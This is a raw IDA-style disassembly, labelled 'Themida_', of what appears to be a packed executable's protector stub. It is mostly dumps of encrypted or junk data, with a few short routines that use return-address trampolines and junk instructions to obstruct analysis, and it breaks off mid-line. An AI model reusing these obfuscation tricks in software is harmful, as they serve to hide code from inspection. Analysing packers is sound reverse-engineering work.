4FCF938Ch, 8DFCB21Dh dd 0FA4F668Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0DEF25B83h, 890F0DAEh dd 6, 27819D8Bh, 0E1FF07FAh, 1C259589h, 0BD8307FAh, 7FA2BD9h dd 5B840F00h, 66000004h, 0BD83D98Bh, 7FA2BD9h, 66840F01h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 4D6FC355h, 890F6025h, 2, 810F6160h dd 4, 0CB1B966h, 0D9BD8361h, 307FA2Bh, 3F1860Fh, 0BF660000h dd 85895DEFh, 7FA02CDh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BD8B72B9h, 7FA23FDh dd 0C859D89h, 8C6607FAh, 5E9D9h, 38D60000h, 80E2365Fh dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 22C6F4C3h, 0EB0BDBEBh, 0C90A1E22h, 13A840Fh dd 0FAB70000h, 0FE9858Bh, 8E907FAh, 86000000h, 0E91E6A4Fh dd 33E333A2h, 0FA15E185h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 8D8F30A1h dd 810C515Dh, 0B609F6D3h, 4FEF816Eh, 9006CEF9h, 0FE9h dd 620DBD00h, 83A65B47h, 0F65802E6h, 0D4284B13h, 9E950h dd 64640000h, 1002EE54h, 901BC8EAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 58C35646h, 16DA5EDh, 0FA146995h dd 0E8006A07h, 5, 0AC1AFCDFh, 6890F06h, 31000000h, 0FA0E15B5h dd 9D8B5B07h, 7FA2761h, 4E8h, 1F03FF00h, 0D98B5000h, 424448Bh dd 0BF66008Bh, 4489E783h, 0BF660424h, 6A58BC12h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B43C352h, 0E3800E13h, 0E995FF03h, 6A07FA1Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0B034C350h, 8589F8EAh, 7FDEB96h, 9E9h, 4F68CB00h, 0B9A04F9Ch dd 0C1E92471h, 66000001h, 0BD0BFB8Bh, 7FA2C25h, 0EB8E858Bh dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 2F74AEC3h, 23E97164h, 66B5892Eh, 547CEF81h dd 1800C7h, 8D0F0000h, 6, 261D9D8Bh, 0B58B07FAh, 7FDEB92h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F0C35040h dd 39BD8BF2h, 8B07FA08h, 0FA0D5185h, 0CE807h, 96380000h dd 163B9318h, 0ACA4D37Bh, 5FF8E9E8h, 7D3DBF66h, 6A0689h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BF0F28C3h, 0E9858BDBh, 6A07FA0Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B0DFC351h dd 0FC7236EFh, 0C19D8B3Fh, 8907FA21h, 6A0446h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 95337CC3h, 63D5B97Ch, 55858913h, 9607FA07h, 0FE8B6650h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 6BB8E070h, 2BD1C04Bh, 0BD8BB1B5h, 7FA22A1h dd 0EB8EB5FFh, 0EE807FDh, 4E000000h, 0CFF130E3h, 12217CDDh dd 5D4C5492h, 184EBBDAh, 685B6839h, 0B28A4120h, 81D88B66h dd 0C2DF2404h, 0BF664D94h, 858D6743h, 7FDEB96h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F5C35040h, 2953FA9Ah dd 0FA16BD85h, 0E9505F07h, 11h, 5B49178Eh, 94063450h, 39D8320Bh dd 137A00C8h, 2404894Fh, 0FFB9C780h, 0FA1CE995h, 0D88B6607h dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0F092B60Eh, 5BEFC63h, 85C70232h, 7FA2BD9h dd 3, 0E7D9589h, 0BD8307FAh, 7FDEB96h, 4C840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 2631C353h, 0F9E9775Bh, 69C902D1h, 3DE9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0F1858905h, 5007FA28h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 599F12C3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AAC35747h dd 0D9BD8334h, 307FA2Bh, 4B8850Fh, 0D0B30000h, 0EB96BD83h dd 0F0007FDh, 4A984h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0ECB22988h, 92221741h dd 8B667984h, 96B5FFDFh, 6A07FDEBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7488C353h dd 4595FF91h, 0F07FA27h, 81h, 0C7C78100h, 8B3FA126h, 0FDEB8AB5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 47E333A2h, 44395C32h, 0FE8h, 0F2EF6C00h dd 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 5FFFB70Fh, 106C7h dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 505089C3h, 28A0F52h, 53000000h, 60310F5Fh dd 932CB6BBh, 0CE871h, 0BBE30000h, 12FB4977h, 7C46A794h dd 615E1640h, 3489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0B6282D7Fh, 0F51B2304h dd 0FD9D8B09h, 0FF07FA21h, 0FDEB96B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 202C3D05h, 14E8h, 0F6CFC400h, 1B49D7C8h, 1A2861CBh dd 184E9C00h, 0D87E9E9Bh, 9D295F35h, 7FA001Dh, 18E195FFh dd 0EE907FAh, 87000000h, 497FD651h, 5B5DFFF3h, 51A93604h dd 8AB58BA0h, 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 11AEC357h, 99028116h dd 3FA091Fh, 0FA20559Dh, 7D858B07h, 6A07FA1Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0F429C351h, 92BF6613h, 0C486894Ah, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 92E1C355h, 25326681h, 1EE1C7CAh, 0F258589h, 0BD2B07FAh dd 7FA0305h, 1CD9958Bh, 0E38107FAh, 3850A251h, 195DE781h dd 0C28371F2h, 89FE8B04h, 6A2050h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0A71A99C3h, 0DF9A483Ch dd 8D0CB1B6h, 0FDFEF785h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h dd 1504h, 0C3554500h, 9D8B548Bh, 7FA0139h, 0B88689h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0AE9575C3h, 4D20C59Ah, 17959501h, 6A07FAh, 29119529h dd 0B5FF07FAh, 7FDEB96h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 50C35242h, 81668319h, 0FF4A83F7h, 0FA1C9595h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 95899A6Ah, 7FA18FDh, 52506096h, 7DB9E9BAh dd 0F310F3Bh, 8Ch, 8A585A00h, 665061D7h, 6A96D88Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 64B3C350h, 9D8BB4B5h, 7FA14B1h, 0EB96B5FFh, 6A07FDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 89EE7DC3h, 26395E75h, 4A54E381h, 0C5B77384h, 1D9595FFh dd 860F07FAh, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA0131h], 0 jz loc_5CF773 push 0 push edx call sub_5CF73C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF73C proc near ; CODE XREF: Themida_:005CF734p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CF73C endp ; --------------------------------------------------------------------------- dd 37FED928h, 370DB02Dh, 0DE85072h, 0E000000h, 1B6EBD75h dd 0EF368256h, 0F0DEBC1Ch, 895BDF8Bh, 85BB2434h db 7Dh, 0Ah, 43h ; --------------------------------------------------------------------------- loc_5CF773: ; CODE XREF: Themida_:005CF72Bj push dword ptr [ebp+7FDEB96h] jb loc_5CF789 pusha mov ecx, [ebp+7FA1DADh] pusha popa popa loc_5CF789: ; CODE XREF: Themida_:005CF779j call dword ptr [ebp+7FA1CB5h] jb $+6 sbb edi, 33CC0885h push dword ptr [ebp+7FDEB96h] add ebx, 476BF757h xor [ebp+7FA1895h], ecx call dword ptr [ebp+7FA21ADh] push 0 push ebx call sub_5CF7BE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF7BE proc near ; CODE XREF: Themida_:005CF7B6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5CF7BE endp ; --------------------------------------------------------------------------- dw 5D7Fh dd 21BD83DBh, 207FA22h, 48840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FDC41C3h dd 68Fh, 0FD9D0300h, 8B07FA2Eh, 0FA161585h, 5E807h, 0D8EA0000h dd 8B6C6C81h, 0FA08859Dh, 0C65B07h, 0DAD0BB00h, 85C721DEh dd 7FA16DDh, 0 dd 12E8h, 324D2A00h, 5A95195Ah, 34D64402h, 0D36C2E7Ch dd 0FE22247h, 108Fh, 0BE900h, 0BDC70000h, 64C65EB8h, 0EA03719Eh dd 0AFE95BD9h, 6AFFFFF2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 4DCBC357h, 203DB149h dd 81660355h, 8BB5B6F3h, 2DBD8BC1h, 8D07FA16h, 0FA019985h dd 0B9BD0307h, 5007FA0Dh, 0C860Fh, 52500000h, 595BF66h dd 6160310Fh, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD8BCF9Bh, 7FA1EA5h dd 6AFB8Bh, 8BDE8B60h, 0FA0AE9BDh, 6A6107h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F0C35343h, 88858DE8h dd 6A07FEC6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 3642C355h, 3B6787AFh, 9D8B1DCAh dd 7FA1001h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 50A0C355h, 11E9h, 0EB792200h dd 0E96E9B88h, 0B860D992h, 77D699EBh, 4896FFAh, 0F8B70F24h dd 9D89006Ah, 7FA0091h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 2D5FEC3h, 55478CA5h dd 0FF2FAE50h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0A5B589FCh dd 8D07FA34h, 0FDD7118Dh, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 25DC147Bh dd 0AF18534h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0FF04C2C3h, 6860F64h, 89000000h dd 0FA00BD85h, 0EDBD8307h, 107FA33h, 9F850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 5D1912C3h, 13C51F05h, 26A9F00h, 0C0EF8166h, 840F9094h dd 0 ; --------------------------------------------------------------------------- push eax jmp loc_5CFA73 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 757DF527h, 0F925FBEAh, 8B7871A5h db 7, 0C5h, 4Bh ; --------------------------------------------------------------------------- loc_5CFA73: ; CODE XREF: Themida_:005CFA5Dj nop push 0 push esi call sub_5CFA7F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFA7F proc near ; CODE XREF: Themida_:005CFA77p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5CFA7F endp ; --------------------------------------------------------------------------- db 66h dd 256B92F3h, 0D7815FE9h, 66F0E997h, 1C9595FFh, 6A07FAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BE851C3h, 0FA15B9BDh, 0BBB6607h, 0DCAE979h, 0E80000h dd 5D000000h, 0C692ED81h, 0FB8B07FEh, 6ADABF0Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0FD7AC351h, 40145F26h, 6659123Eh, 307CEB81h, 0B959858Dh dd 5E807FDh, 1E000000h, 3C270157h, 905BFA8Bh, 50FB8B66h dd 0F9083B3h, 687h, 499D8B00h, 6407FA11h, 35FFh, 0BD890000h dd 7FA32A5h, 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FF46C357h, 0FA104985h dd 6AFF6A07h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 9CCDC350h, 0A0394045h, 0C840Fh dd 8A0F0000h, 6, 351D9589h, 0B5FF07FAh, 7FA2515h, 0FFFE8B66h dd 0FA287595h, 151E907h, 0BD8B0000h, 7FA1789h, 0D78100B0h dd 5F3941Ch, 0F9B370E6h, 816671E4h, 3C10DFD7h, 30830F61h dd 81000001h, 356102C3h, 0C8B60F06h, 7E8h, 11533D00h, 5626B81h dd 7E8h, 0FF30B100h, 6E3956F0h, 6BA5F5Bh, 0E9000000h, 0Dh dd 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0FC18BDFh, 286h, 0C1F88B00h dd 0F6004E8h, 284h, 61595000h, 60E2F766h, 13E9h, 5A79D300h dd 42A4D91Eh, 1EFE8E05h, 0AC131155h, 90E58669h, 0DE9h dd 0A6E84300h, 350BCDC2h, 3AB4234Fh, 2B61FCF8h, 0F1D781C8h dd 8B5982E3h, 0F98529D1h, 0E907FA2Eh, 12h, 7E9h, 8E65900h dd 0F9B3EA7Dh, 810Fh, 858B0000h, 7FA213Dh, 839EF780h, 13E807C0h dd 85000000h, 0A6BF5E03h, 0D572997Fh, 0D247C36Eh, 0C2E2C11Eh dd 9D89E0B1h, 7FA2039h, 0C0835Fh, 830FD03Bh, 11h, 67D9589h dd 48E907FAh, 60000000h, 8C75B866h, 218D8B61h, 0E907FA05h dd 0Bh, 0B2EBBBF7h, 0A48C34A6h, 835D0F17h, 840F01E1h, 23h dd 0B319D89h, 0A58307FAh, 7FA0521h, 0D38166FEh, 95897EEDh dd 7FA213Dh, 0A69BD09h, 0E907FAh, 8D000000h, 0FE4352B5h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 9964971Ch, 2860F99h, 8B000000h, 6A006AF9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 12C351h, 5DB22064h, 7281E650h, 1995FFF5h dd 6A07FA10h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 4AE3C352h, 5757C467h, 0F9BBA910h dd 0DF22E781h, 0AFB91C21h, 0E8000007h, 6, 505A3E0h, 13E97A37h dd 0A000000h, 0E6C9091Ch, 190201B8h, 94A6122Dh, 0DEDC176Bh dd 835B5610h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0BBAAF2C3h, 89BED05Ch, 0FA18A18Dh dd 0A159BB07h, 0FFC424Ch, 1082h, 0BE900h, 0AF380000h, 7887EA09h dd 0F63173D1h, 0B88Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B5018FC3h, 7FA1E39h dd 0FBA5E381h, 0D22B01BEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 1DC35343h, 0FD4069EEh, 0E9687724h, 0Ah dd 215CBA9Ah, 588A4D72h, 33ADC86Eh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0BE7B93C3h, 6655D380h, 8199D1BBh, 9C96E8E7h dd 57006A0Eh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 4830A457h, 6D92D50Eh, 10E9h, 0F1258300h dd 0D08338AAh, 0CF7D779Fh, 0ED93CA09h, 699D33BEh, 0D07FA2Dh dd 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h dd 8AC35343h, 2915B531h, 958B07FAh, 7FA1CD9h, 0D830Fh dd 66600000h, 91FCEF81h, 1CB1958Bh, 8B6107FAh, 0FA31AD8Dh dd 719D3307h, 5007FA21h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0C6DF8058h, 0D9B70F50h, 29BD835Fh, 7FA2Ah dd 36840Fh, 6B30000h, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8DCCB7B7h dd 0FA4F668Dh, 0FEBF0F07h, 0B589E1FFh, 7FA3525h, 2BD9BD83h dd 0F0007FAh, 41F84h, 46CF8000h, 0A1F375BFh, 0D9BD8343h dd 107FA2Bh, 425840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 840B76C3h, 0EB544F90h dd 0CE9h, 0BEA64C00h, 27187A0Fh, 74FA5A1Dh, 0E5BD319Bh dd 8307FA2Eh, 0FA2BD9BDh, 860F0307h, 3A9h, 2448E381h, 66602B75h dd 0F0B41BFh, 108Bh, 9E95200h, 30000000h, 88BC2688h, 3D9C732h dd 0D98C665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 75C35343h, 4D47346Fh, 0BF04E180h, 0BA737EBh, 840FC90Ah dd 129h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0C7C35141h, 0D42F64DDh, 9D0B3AC5h, 7FA21E9h, 0FE9858Bh dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0EE6834C3h, 816029CEh, 45AF5CE0h, 8D958B6Ch dd 6107FA29h, 15E18533h, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 26E23DC3h, 26E97AB6h dd 0DE8B5003h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0F51C350h, 0E2C96D77h dd 6A006A7Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 3CBBC351h, 64A5AA9Ch, 0E9402877h dd 11h, 7FA13104h, 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh, 0A951689Dh dd 0DF8B3895h, 0AE243481h, 81388AAAh, 0AF33D7C7h, 0E995FF3Fh dd 2B07FA1Ch, 0FA25C99Dh, 89FE8B07h, 0FDEB9685h, 1860F07h dd 0F9000000h, 14A1B589h, 87E907FAh, 23000001h, 0FA2F8DBDh dd 8E858B07h, 8B07FDEBh, 0FA0A619Dh, 1800C707h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0FB59C353h, 0BA142982h, 0F8C38166h, 92B58B5Eh dd 8B07FDEBh, 0FA17D59Dh, 51858B07h, 8907FA0Dh, 0F9BF0F06h dd 0FE9858Bh, 8D2907FAh, 7FA1E59h, 6A044689h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 38C2C357h, 65E419EBh, 1F9B509h, 0BB9607FAh, 5F406458h dd 8B665750h, 0E9965FF8h, 0Bh, 12E40092h, 7D6B0A97h, 18FE45Bh dd 0FA2A319Dh, 8EB5FF07h, 6A07FDEBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DBA4C356h dd 5EBB412h, 8B84689Dh, 52502759h, 8AD18B60h, 310F61CBh dd 3481585Ah, 46887B24h, 55006A27h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0EB816639h, 858D48E3h dd 7FDEB96h, 0D24315BFh, 8E99056h, 6D000000h, 964442DDh dd 5097E74Ch, 1D830Fh, 11E80000h, 57000000h, 1525DF5Fh dd 0F9614A0Dh dd 3FD32499h, 0ECE105B7h, 310F5250h, 905B585Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0C0C35040h, 0E995FF33h dd 0E907FA1Ch, 12h, 46E8E306h, 0B779262Fh, 15E72A8Fh, 104F0CD7h dd 6A6146B1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 5A63C353h, 71BD2940h, 0C707FA0Ah dd 0FA2BD985h, 307h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 25067702h, 0BD830246h dd 7FDEB96h, 4E840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F5D9C356h dd 45E92FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0E08DC355h, 1822BBFFh dd 0BB515C03h, 3C2D73C5h, 0C30505Bh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 53C35141h, 0B87AAF53h, 0A9BD8BA5h, 6A07FA16h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 88F3C351h, 0AA5C9513h, 8B078CE5h, 0FA15DDBDh dd 0D9BD8307h, 307FA2Bh, 425850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F78012C3h dd 258509DCh, 8307FA05h, 0FDEB96BDh, 840F0007h, 3F3h, 227D9D8Bh dd 0B5FF07FAh, 7FDEB96h, 7E9h, 0DD4D1700h, 0F3E886E2h dd 274595FFh, 9D3107FAh, 7FA1DF9h, 0EB8AB58Bh, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E99C91C3h, 6C7E860h, 10001h, 50505F56h, 66525052h dd 310FF98Bh, 585A6160h, 0BF66310Fh, 585A67DBh, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 4D18C357h, 0BF66A8h, 96B5FF98h, 0F07FDEBh dd 188Bh, 13E900h, 3CC40000h, 5EEE1F7h, 50911EE2h, 5E9A11AAh dd 0B6E4D4B0h, 0E195FF18h, 6A07FA18h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 80D9C353h dd 0B58B65CFh, 7FDEB8Ah, 0BE9h, 9B299300h, 8C8BBFD9h, 4A2831EDh dd 1C7D858Bh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 8B3AB9C3h, 51E54939h, 29E59D89h dd 895F07FAh, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B7BA155h, 0FA1CD995h dd 459D0307h, 8307FA0Fh, 508904C2h, 52006A20h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 4701F8Ah, 8D138235h dd 0FDFEF785h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 8B448DD4h, 51F274D3h dd 9529A19Bh, 7FA0F6Dh, 68D0Fh, 0BD0B0000h, 7FA1F81h, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 66375EC3h, 8166D98Bh, 6A9F3CF3h, 0FA8B6600h dd 0EB96B5FFh, 0FFFC07FDh, 0FA1C9595h, 68B0F07h, 8B000000h dd 0FA01D19Dh, 0E8609607h, 0Eh, 0D81DAD68h, 3BACE58Ah dd 2B9FD419h, 0FE951CBh, 0DC000000h, 0B841483h, 0EE8780C2h dd 3A14A9D3h, 8B5EFE58h, 0BB5061F8h, 1929C14h, 0F3816096h dd 1CF965D8h, 11298D8Bh, 0FF6107FAh, 0FDEB96B5h, 39BD8B07h dd 0FF07FA07h, 0FA1D9595h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BB694B92h dd 0E090BF66h, 31BD83F5h, 7FA01h, 41840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BFC19C3h, 0FA2815BDh, 10E99607h, 10000000h, 0DD0F970Dh dd 4D70DE3Ch, 4D371E90h, 50C15D7Dh, 4DB58996h, 0FF07FA06h dd 0FDEB96B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 5067A6B7h, 0D5BD8B20h dd 0FF07FA0Ah, 0FA1CB595h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4A2D81FBh dd 48E5EE81h, 0B70F50ADh, 0ADBF5BFEh, 0FF5CB3B1h, 0FDEB96B5h dd 8DF8107h, 0FF3D7DC0h, 0FA21AD95h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0D5E76A7Eh dd 357D3501h, 0ED952981h, 907FA01h, 0FA07F5BDh, 21BD8307h dd 207FA22h, 53840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0BF0F14C3h, 15858BFAh dd 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 332DC353h, 0BB35AF54h, 0DBB70F11h dd 890000C6h, 0FA1641BDh, 0DD85C707h, 7FA16h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 6E7CC350h, 0F2A9B04h, 280h, 0E9F98B00h, 0FFFFF305h dd 47F9BB66h, 2F2DBD8Bh, 0C18B07FAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 30C35141h, 24773039h, 0F729361h dd 388h, 0DF8B6600h, 13E9h, 0EE686A00h, 7, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D0E0B ; --------------------------------------------------------------------------- db 1Bh, 0FBh, 0A3h dd 4C52C06Dh, 0F2AC6916h, 9E000FBCh, 4856BB68h, 4229DE12h dd 0EC99CFCFh, 93407628h, 3EEB217Dh, 0C493C9D5h, 56ED506Ch dd 0AD1307E5h, 326CA7F6h, 0CFCF42A7h, 7727EC99h, 128C87ECh dd 740D3787h, 4AE0B794h, 31E18E34h, 8C88DD6Dh, 80D96C12h dd 0A4700630h, 0D4E580B3h, 0FF3AD2Eh, 0B7649A04h, 9F021E59h dd 0C5FFE6DEh, 20CD036Ch, 0FBA372F0h, 8DB70792h, 120AA6C7h dd 13C06602h, 80129D01h, 8ECE9D57h, 0E6FB0F72h, 67CAE6FFh dd 8DFFE6FBh, 0F59AF334h, 31DE841Ah, 52FBFDFh, 4936AFF3h dd 0B9F79DB6h, 0C97070Ch, 0E6AF7AE0h, 0F923ABFFh, 0A2735F5Bh dd 1FB882FCh, 2BE5660Ch, 7524EC24h, 7793D338h, 0FFE70D14h dd 0E0239D09h, 74B5BA61h, 2E6AA11Bh, 0B3875FADh, 712C0Dh dd 0A7BD0000h, 57A7326Ch, 6910D02h, 5EC337DDh, 8BFFE683h dd 2159601Ah, 838748Fh, 0B43F5FB3h, 104E58Bh, 95000000h dd 0F00C6BA7h, 0FFE6838Dh, 4FE05AB3h, 4D6892C4h, 63C853BCh dd 1464EFAFh, 0A24856BFh, 78731AF5h, 0C59ABB9Dh, 0B13C62B2h dd 2BB61F88h, 0FBDF99D2h, 0B9518717h, 81E43E8Fh, 4FF58CA1h dd 0F72D71A2h, 0A0031F5Fh, 0C6FFE686h, 0A710C76Dh, 44A9346Ah dd 0E045D0CEh, 7ADF6A34h, 2B7D0896h, 6A8F4802h, 0F51BAD08h dd 